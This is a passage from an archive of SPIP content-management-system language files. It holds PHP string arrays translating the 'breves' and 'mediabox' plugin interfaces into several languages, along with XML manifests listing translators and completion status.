'titre_breve_publiee' => 'Brèva publicada',
'titre_breve_refusee' => 'Brèva refusada',
'titre_breves' => 'Las brèvas',
'titre_langue_breve' => 'LENGA DE LA BRÈVA', # MODIF
'titre_page_breves' => 'Brèvas'
);
?>
paquet-breves_fr_tu.php 0000666 00000000701 15252255245 0011250 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-breves?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves_description' => 'Les brèves sont des informations courtes, sans auteur.',
'breves_slogan' => 'Gestion des brèves dans SPIP'
);
?>
breves_my.php 0000666 00000005277 15252255245 0007276 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/breves?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'breves' => 'သတင်းများ',
// E
'entree_breve_publiee' => 'သည်သတင်းအချက်က ထုတ်ဝေဖို့လား?', # MODIF
'entree_texte_breve' => 'သတင်းစကား',
// I
'icone_breves' => 'သတင်း',
'icone_ecrire_nouvel_article' => 'ဤကဏ္ဍရှိသတင်း',
'icone_modifier_breve' => 'ဤသတင်းအချက်အလက်ကို ပြန်လည်မွမ်းမံပါ',
'icone_nouvelle_breve' => 'သတင်း အသစ်ရေးရန်',
'info_1_breve' => '၁ သတင်းအချက်',
'info_breves' => 'သင့်ဝက်ဘ်ဆိုက်တွင် သတင်းထားသည့် စနစ်သုံးပါသလား',
'info_breves_02' => 'သတင်း',
'info_breves_valider' => 'သတင်းအတည်ပြုရန်',
'info_gauche_numero_breve' => 'သတင်းအချက်နံပါတ်', # MODIF
'item_breve_proposee' => 'သတင်း တင်သွင်းပြီးပြီ', # MODIF
'item_breve_refusee' => 'မရပါ - သတင်းအချကအလက် ငြင်းပယ်သည်', # MODIF
'item_breve_validee' => 'ဟုတ်ကဲ့ - သတင်းအချက်အလက် ရနိုင်သည်', # MODIF
'item_non_utiliser_breves' => 'သတင်းကို မသုံးပါနှင့်',
'item_utiliser_breves' => 'သတင်းကိုသုံးပါ',
// L
'logo_breve' => 'သတင်းအချက်များ၏လိုဂို', # MODIF
// T
'texte_breves' => 'သတင်းများကို တိုရှင်းပုံစံဖြင့် အွန်လိုင်းပေါ်တွင် ထုတ်ဝေနိုင်သည်၊ ပြက္ခဒိန်နှင့် အစီအစဉ်များတွင် ဖော်ပြနိုင်သည်',
'titre_breve_proposee' => 'သတင်းများတင်သွင်းပြီး',
'titre_breve_publiee' => 'သတင်းများ ထုတ်ဝေပြီး',
'titre_breve_refusee' => 'သတင်းများ ငြင်းပယ်ထားပြီး',
'titre_breves' => 'သတင်း',
'titre_langue_breve' => 'သတင်းအချက်အလက် ဘာသာစကား', # MODIF
'titre_page_breves' => 'သတင်းများ'
);
?>
paquet-mediabox_de.php 0000666 00000001765 15252255251 0011033 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Alle Links zu Bildern (mit einem mime/type für Bilder) sowie Links mit der Klasse <code>.mediabox</code>werden in einer Multimedia-Box angezeigt.
Jeder Link kann einzeln um folgende Klassen ergänzt werden:
-* <code>boxIframe</code> öffnet den Link als iFrame in einer Box;
-* <code>boxWidth-350px</code>öffnet eine 350px breite Box;
-* <code>boxHeight-90pc</code> öffnet eine 90% hohe Box;
Sie können die Voreinstellungen in einem Konfigurationsdialog einstellen, und das Standarddesign der Boxen auswählen.
Dieses Plugin benötigt den Tag <code>#INSERT_HEAD</code> im Kopf des Skeletts.',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Multimedia-Box'
);
?>
paquet-mediabox.xml 0000666 00000006753 15252255251 0010376 0 ustar 00 <traduction module="paquet-mediabox" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/mediabox/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=ar" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=de" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=en" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=es" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jotacese" lien="http://trad.spip.net/auteur/jotacese" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=fa" total="3" traduits="2" relire="0" modifs="0" nouveaux="1" pourcent="66.67">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=fr" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=fr_fem" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=it" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=lb" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=nl" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=pt" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=ru" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=sk" total="3" traduits="3" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
</traduction>
paquet-mediabox_fa.php 0000666 00000000632 15252255251 0011021 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_nom' => 'مدياباكس',
'mediabox_slogan' => 'صندوق چندرسانهاي'
);
?>
paquet-mediabox_lb.php 0000666 00000001724 15252255251 0011033 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Par défaut hunn all Linken op Biller (mat Attribut mime/type) a Linke mat der Klass <code>.mediabox</code> Zougrëff op d’Mediabox.
All Link ka mat zousätzleche Klassen agestallt ginn:
-* <code>boxIframe</code> de Link soll an engem Iframe opgemach ginn;
-* <code>boxWidth-350px</code> d’Box soll eng Breet vun 350 Pixel hun;
-* <code>boxHeight-90pc</code> d’Box soll eng Héicht vun 90% hun.
D’Astellung erlaabt de generelle Layout festzeleen, op Basis vun e puer Virlagen.
Dëse Plugin fonktionnéiert mat Skeletter déi den Tag <code>#INSERT_HEAD</code> hun.',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Mediabox'
);
?>
paquet-mediabox_ru.php 0000666 00000002517 15252255251 0011065 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/paquet-mediabox?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'По умолчанию все ссылки на картинки (файлы с соответствующим mime/type атрибутом) и ссылки с CSS классом <code>.mediabox</code> выводятся в сплывающем окне.
Вы можете настроить класс ссылки для каждого конкретного случая :
-* <code>boxIframe</code> позволяет открывать ссылки в iframe ;
-* <code>boxWidth-350px</code> задает ширину всплывающего окна в 350px ;
-* <code>boxHeight-90pc</code> задает высоту окна в 90%.
В настройках модуля вы можете изменять внешний вид блоков и прочие настройки.
Модуль работает только в случае, если вы добавляете <code>#INSERT_HEAD</code> в ваши шаблоны.',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Медиабокс'
);
?>
mediabox_fr.php 0000666 00000004240 15252255251 0007544 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/mediabox/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Réinitialiser',
'boxstr_close' => 'Fermer',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Suivant',
'boxstr_previous' => 'Précédent',
'boxstr_slideshowStart' => 'Diaporama',
'boxstr_slideshowStop' => 'Arrêter',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Indiquez la cible des éléments qui déclencheront la boîte. (Expression CSS ou étendue jQuery)',
'explication_selecteur_galerie' => 'Indiquez la cible des éléments à regrouper en galerie. (Expression CSS ou étendue jQuery)',
'explication_splash_url' => 'Indiquez l’url du média à afficher automatiquement dans une boîte lors de la première visite sur le site public.',
'explication_traiter_toutes_images' => 'Insérer une boîte sur toutes les images ?',
// L
'label_active' => 'Activer la Boîte Multimédia dans le site public',
'label_apparence' => 'Apparence',
'label_aucun_style' => 'N’insérer aucun habillage par défaut',
'label_choix_transition_elastic' => 'Élastique',
'label_choix_transition_fade' => 'Fondu enchaîné',
'label_choix_transition_none' => 'Sans effet de transition',
'label_maxheight' => 'Hauteur Maxi (% ou px)',
'label_maxwidth' => 'Largeur Maxi (% ou px)',
'label_minheight' => 'Hauteur Mini (% ou px)',
'label_minwidth' => 'Largeur Mini (% ou px)',
'label_opacite' => 'Opacité du fond',
'label_selecteur_commun' => 'En général',
'label_selecteur_galerie' => 'En galerie',
'label_skin' => 'Habillage visuel',
'label_slideshow_speed' => 'Temps d’exposition des photos du diaporama (ms)',
'label_speed' => 'Vitesse de transition (ms)',
'label_splash' => 'Splash Boîte',
'label_splash_url' => 'URL à afficher',
'label_traiter_toutes_images' => 'Images',
'label_transition' => 'Transition entre deux affichages',
// T
'titre_menu_box' => 'Boîte Multimédia',
'titre_page_configurer_box' => 'Configuration de la Boîte multimédia'
);
?>
mediabox_de.php 0000666 00000004202 15252255251 0007523 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Neu starten',
'boxstr_close' => 'Schließen',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Weiter',
'boxstr_previous' => 'Zurück',
'boxstr_slideshowStart' => 'Diaschau',
'boxstr_slideshowStop' => 'Stop',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Geben sie hier CSS- bzw. erweiterten jQuery-Selektor an.',
'explication_selecteur_galerie' => 'Geben sie den Selektor der Elemente an, die in der Galerie erscheinen sollen. (CSS bzw. jQuery Ausdruck)',
'explication_splash_url' => 'Geben sie den URL des Mediums an, das einem Besucher beim ersten Besuch der Website automatisch in einem Kasten angezeigt werden soll.',
'explication_traiter_toutes_images' => 'Alle Bilder in einem Kasten anzeigen?',
// L
'label_active' => 'Mediabox für den öffentlichen Bereich aktivieren',
'label_apparence' => 'Aussehen',
'label_aucun_style' => 'Kein Standarddesign verwenden',
'label_choix_transition_elastic' => 'Elastisch',
'label_choix_transition_fade' => 'Überblendung',
'label_choix_transition_none' => 'Kein Übergangseffekt',
'label_maxheight' => 'Maximalhöhe (% oder px)',
'label_maxwidth' => 'Maximalbreite (% oder px)',
'label_minheight' => 'Minimalhöhe (% oder px)',
'label_minwidth' => 'Minimalbreite (% oder px)',
'label_opacite' => 'Transparenz des Hintergrunds',
'label_selecteur_commun' => 'Allgemein',
'label_selecteur_galerie' => 'Als Galerie',
'label_skin' => 'Skin',
'label_slideshow_speed' => 'Anzeigedauer der Diaschau-Bilder (ms)',
'label_speed' => 'Dauer des Übergangseffekts (ms)',
'label_splash' => 'Splash Box',
'label_splash_url' => 'URL anzeigen',
'label_traiter_toutes_images' => 'Bilder',
'label_transition' => 'Übergang zwischen zwei Elementen',
// T
'titre_menu_box' => 'Multimedia-Box',
'titre_page_configurer_box' => 'Konfiguration der Multimedia-Box'
);
?>
paquet-mediabox_fr.php 0000666 00000002273 15252255251 0011045 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// Fichier source, a modifier dans svn://zone.spip.org/spip-zone/_core_/plugins/mediabox/lang/
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// M
'mediabox_description' => 'Par défaut, tous les liens vers des images (avec un attribut type décrivant le mime/type de l’image) ainsi que les liens avec la classe <code>.mediabox</code> sont enrichis par la boîte multimédia.
Il est possible de configurer chaque lien au cas par cas avec des classes supplémentaires :
-* <code>boxIframe</code> permet de demander à ouvrir le lien dans une boîte en iframe ;
-* <code>boxWidth-350px</code> permet de spécifier une largeur de 350px pour la boîte ;
-* <code>boxHeight-90pc</code> permet de spécifier une hauteur de 90% pour la boîte.
Un panneau de configuration vous permet de modifier les réglages généraux à votre convenance, ainsi que l’aspect de la boîte parmi les habillages disponibles.
Ce plugin fonctionne sur les squelettes disposant de la balise <code>#INSERT_HEAD</code>',
'mediabox_nom' => 'MediaBox',
'mediabox_slogan' => 'Boîte multimédia'
);
?>
mediabox_fa.php 0000666 00000005136 15252255251 0007530 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'باز تنظيم',
'boxstr_close' => 'بستن',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'بعدي',
'boxstr_previous' => 'قبلي',
'boxstr_slideshowStart' => 'اسلايد شو',
'boxstr_slideshowStop' => 'ايست',
'boxstr_zoom' => 'زوم',
// E
'explication_selecteur' => 'عنصر هدف كه جعبه را به حركت در ميآورد مشخص كنيد. (jQuery يا عبارت سي.اس.اس)',
'explication_selecteur_galerie' => 'عناصر هدف را مشخص كنيد تا در يك گروه در يك گالري يكي شوند. (عبارت سي.اس.اس ياjQuery) ',
'explication_splash_url' => 'يو.آر.ال رسانه را وارد كنيد تا به صورت خودكار در چارگوش در نخستين ويزيت در سايت همگاني به نمايش درآيد. ',
'explication_traiter_toutes_images' => 'گنجاندن يك كادر دور تمام تصويرها؟',
// L
'label_active' => 'فعالسازي كادر مديا در سايت همگاني ',
'label_apparence' => 'ظهور',
'label_aucun_style' => 'پيش گزيده هيچ كادري استفاده نكن',
'label_choix_transition_elastic' => 'انعطاف پذير',
'label_choix_transition_fade' => 'فيد همزمان',
'label_choix_transition_none' => 'بدون اثر انتقال ',
'label_maxheight' => 'بيشترين ارتفاع (پيكسل يا %)',
'label_maxwidth' => 'بيشترين پهنا (پيكس يا %)',
'label_minheight' => 'كمترين ارتفاع (پيكس يا %)',
'label_minwidth' => 'كمترين پهنا (پيكس يا %)',
'label_opacite' => 'كدري پسزمينه',
'label_selecteur_commun' => 'به طور كلي ',
'label_selecteur_galerie' => 'به حالت گالري',
'label_skin' => 'پوشش ديدني',
'label_slideshow_speed' => 'زمان نمايش تصاوير اسلايد شو (مس)',
'label_speed' => 'سرعت انتقال (مس)',
'label_splash' => 'جعبهي نمايش',
'label_splash_url' => 'يو.آر.ال براي نمايش ',
'label_traiter_toutes_images' => 'تصاوير',
'label_transition' => 'انتقال بين دو نمايش ',
// T
'titre_menu_box' => 'جعبهي مديا',
'titre_page_configurer_box' => 'پيكربندي جعبهي مديا'
);
?>
mediabox_lb.php 0000666 00000004052 15252255251 0007533 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Neistarten',
'boxstr_close' => 'Zoumachen',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Weider',
'boxstr_previous' => 'Zeréck',
'boxstr_slideshowStart' => 'Diashow',
'boxstr_slideshowStop' => 'Stop',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Gitt d’Elementer un déi d’Mediabox starten (CSS oder jQuery).',
'explication_selecteur_galerie' => 'Gitt d’Elementer un déi sollen als Galerie gruppéiert ginn (CSS oder jQuery).',
'explication_splash_url' => 'Gitt d’Url vum Element un dat soll automatesch an der Mediabox bei der éischter Visite vum ëffentleche Site gewise ginn.',
'explication_traiter_toutes_images' => 'Eng Box bei all Biller asetzen?',
// L
'label_active' => 'D’Mediabox um ëffentleche Site aschalten',
'label_apparence' => 'Layout',
'label_aucun_style' => 'Ouni Default-Layout',
'label_choix_transition_elastic' => 'Elastesch',
'label_choix_transition_fade' => 'Iwwergang',
'label_choix_transition_none' => 'Ouni Transitioun',
'label_maxheight' => 'Maximal Héicht (% oder px)',
'label_maxwidth' => 'Maximal Breet (% oder px)',
'label_minheight' => 'Minimal Héicht (% oder px)',
'label_minwidth' => 'Minimal Breet (% oder px)',
'label_opacite' => 'Opacitéit vum Fong',
'label_selecteur_commun' => 'Generell',
'label_selecteur_galerie' => 'Galerie',
'label_skin' => 'Layout',
'label_slideshow_speed' => 'Zäit pro Foto an der Diashow (ms)',
'label_speed' => 'Vitesse vum Iwwergang (ms)',
'label_splash' => 'Splash Box',
'label_splash_url' => 'URL déi soll gewise ginn',
'label_traiter_toutes_images' => 'Biller',
'label_transition' => 'Iwwergang tëschent 2 Biller',
// T
'titre_menu_box' => 'Mediabox',
'titre_page_configurer_box' => 'Mediabox astellen'
);
?>
mediabox_ru.php 0000666 00000005204 15252255251 0007564 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=ru
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Сбросить',
'boxstr_close' => 'Закрыть',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Следующий',
'boxstr_previous' => 'Предыдущий',
'boxstr_slideshowStart' => 'Просмотр изображений',
'boxstr_slideshowStop' => 'Остановить',
'boxstr_zoom' => 'Масштаб',
// E
'explication_selecteur' => 'Укажите элемент, который вызовет окно. (JQuery или CSS)',
'explication_selecteur_galerie' => 'Выберите элементы, которые нужно сгруппировать в галерее. (jQuery или CSS)',
'explication_splash_url' => 'Укажите URL к медиа файлу, который будет отображаться в сплывающем окне при первом входе на сайт.',
'explication_traiter_toutes_images' => 'Вставить рамку вокруг всех изображений?',
// L
'label_active' => 'Включить медиабокс на сайте',
'label_apparence' => 'Внешний вид',
'label_aucun_style' => 'Не использовать рамку по умолчанию',
'label_choix_transition_elastic' => 'Плавно',
'label_choix_transition_fade' => 'Тень',
'label_choix_transition_none' => 'Без переходных эффектов',
'label_maxheight' => 'Макс. высота (% или px)',
'label_maxwidth' => 'Макс. ширина (% или px)',
'label_minheight' => 'Мин. высота (% или px)',
'label_minwidth' => 'Мин. ширина (% или px)',
'label_opacite' => 'Прозрачность фона',
'label_selecteur_commun' => 'В общем',
'label_selecteur_galerie' => 'Режим галереи ',
'label_skin' => 'Шаблон для вывода',
'label_slideshow_speed' => 'Время демонстрации картинки в слайдоу (ms)',
'label_speed' => 'Скорость смены кадров (ms)',
'label_splash' => 'Всплывающее Окно',
'label_splash_url' => 'Ссылка для просмотра',
'label_traiter_toutes_images' => 'Изображения',
'label_transition' => 'Смена изображений',
// T
'titre_menu_box' => 'Медиабокс',
'titre_page_configurer_box' => 'Настройки Медиабокса'
);
?>
mediabox.xml 0000666 00000010340 15252255251 0007064 0 ustar 00 <traduction module="mediabox" gestionnaire="salvatore" url="http://trad.spip.net" source="svn://zone.spip.org/spip-zone/_core_/plugins/mediabox/lang/" reference="fr">
<langue code="ar" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=ar" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="George" lien="http://trad.spip.net/auteur/جورج-قندلفت" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="de" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=de" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="klaus++" lien="http://trad.spip.net/auteur/klaus" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="en" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=en" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
<traducteur nom="Paolo" lien="http://trad.spip.net/auteur/paolo" />
</langue>
<langue code="es" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=es" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="dani" lien="http://trad.spip.net/auteur/dani" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="fa" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=fa" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Davood Hossein" lien="http://trad.spip.net/auteur/davood-hossein" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
<langue code="fr" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=fr" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
</langue>
<langue code="fr_fem" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=fr_fem" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="denisb" lien="http://trad.spip.net/auteur/denisb" />
</langue>
<langue code="it" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=it" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
<traducteur nom="phante" lien="http://trad.spip.net/auteur/phante" />
</langue>
<langue code="lb" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=lb" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jwander" lien="http://trad.spip.net/auteur/jwander" />
</langue>
<langue code="nl" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=nl" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Suske" lien="http://trad.spip.net/auteur/suske" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=pt" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=ru" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
<traducteur nom="nazar" lien="http://trad.spip.net/auteur/nazar" />
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/mediabox?lang_cible=sk" total="34" traduits="34" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
<traducteur nom="Matthieu Marcillaud" lien="http://trad.spip.net/auteur/matthieu-marcillaud" />
</langue>
</traduction>
mediabox_en.php 0000666 00000004047 15252255251 0007544 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=en
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'Reset',
'boxstr_close' => 'Close',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'Next',
'boxstr_previous' => 'Previous',
'boxstr_slideshowStart' => 'Slideshow',
'boxstr_slideshowStop' => 'Stop',
'boxstr_zoom' => 'Zoom',
// E
'explication_selecteur' => 'Specify the target element that will trigger the box. (jQuery or CSS expression)',
'explication_selecteur_galerie' => 'Specify the target elements to group together into a gallery. (jQuery or CSS expression)',
'explication_splash_url' => 'Enter the URL of the media to automatically display in a box on the first visit to the public site.',
'explication_traiter_toutes_images' => 'Insert a box around all images?',
// L
'label_active' => 'Activate mediabox on the public site',
'label_apparence' => 'Appearance',
'label_aucun_style' => 'Do not use any frame by default',
'label_choix_transition_elastic' => 'Elastic',
'label_choix_transition_fade' => 'Fade',
'label_choix_transition_none' => 'Without transition effect',
'label_maxheight' => 'Max height (% or px)',
'label_maxwidth' => 'Max width (% or px)',
'label_minheight' => 'Min height (% or px)',
'label_minwidth' => 'Min width (% or px)',
'label_opacite' => 'Background opacity',
'label_selecteur_commun' => 'In general',
'label_selecteur_galerie' => 'In gallery mode',
'label_skin' => 'Visual skin',
'label_slideshow_speed' => 'Exhibition time of the slideshow images (ms)',
'label_speed' => 'Transition speed (ms)',
'label_splash' => 'Splash Box',
'label_splash_url' => 'URL to display',
'label_traiter_toutes_images' => 'Pictures',
'label_transition' => 'Transition between two views',
// T
'titre_menu_box' => 'Media Box',
'titre_page_configurer_box' => 'Configuration of the Media box'
);
?>
mediabox_ar.php 0000666 00000005111 15252255251 0007535 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/mediabox?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_reinitialiser' => 'إعادة تأصيل',
'boxstr_close' => 'إغلاق',
'boxstr_current' => '@current@/@total@',
'boxstr_next' => 'التالي',
'boxstr_previous' => 'السابق',
'boxstr_slideshowStart' => 'عرض متواصل',
'boxstr_slideshowStop' => 'إيقاف',
'boxstr_zoom' => 'تكبير (زوم)',
// E
'explication_selecteur' => 'حدد هدف العناصر التي ستطلق الصندوق (عبارة CSS، او مجال jQuery)',
'explication_selecteur_galerie' => 'حدد هدف العناصر المطلوب تجميعها في صالة عرض (عبارة CSS، او مجال jQuery)',
'explication_splash_url' => 'أدخل هنا عنوان الوسيط الذي ترغب عرضه آلياً في مربع لدى أول زيارة للموقع العمومي.',
'explication_traiter_toutes_images' => 'إدخال صندوق على كل الصور؟',
// L
'label_active' => 'تفعيل صندوق الفرجة في الموقع العمومي',
'label_apparence' => 'المظهر',
'label_aucun_style' => 'دون كساء إفتراضي',
